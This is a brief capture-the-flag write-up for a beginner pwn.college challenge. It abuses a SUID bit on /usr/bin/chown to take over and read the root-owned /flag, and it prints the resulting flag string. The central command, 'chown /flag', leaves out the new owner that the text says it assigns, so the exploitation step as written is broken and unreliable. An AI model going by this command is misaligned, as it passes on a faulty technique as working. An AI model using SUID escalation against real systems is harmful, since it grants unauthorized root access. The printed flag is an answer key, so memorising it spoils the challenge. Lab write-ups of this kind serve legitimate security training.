Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/chown, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/chown

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/chown
  • The s in -rws indicates it’s a SUID binary.
  • chown runs with root privileges.

🚀 Exploitation

The chown command in Linux is used to change the ownership of files and directories. We can simply change the ownership of /flag to hacker(our user).

chown /flag
cat /flag

Output:

pwn.college{8pBYmIWne_yzc7eQGB83F0sVZC0.dlzNxwSM0IzMyEzW}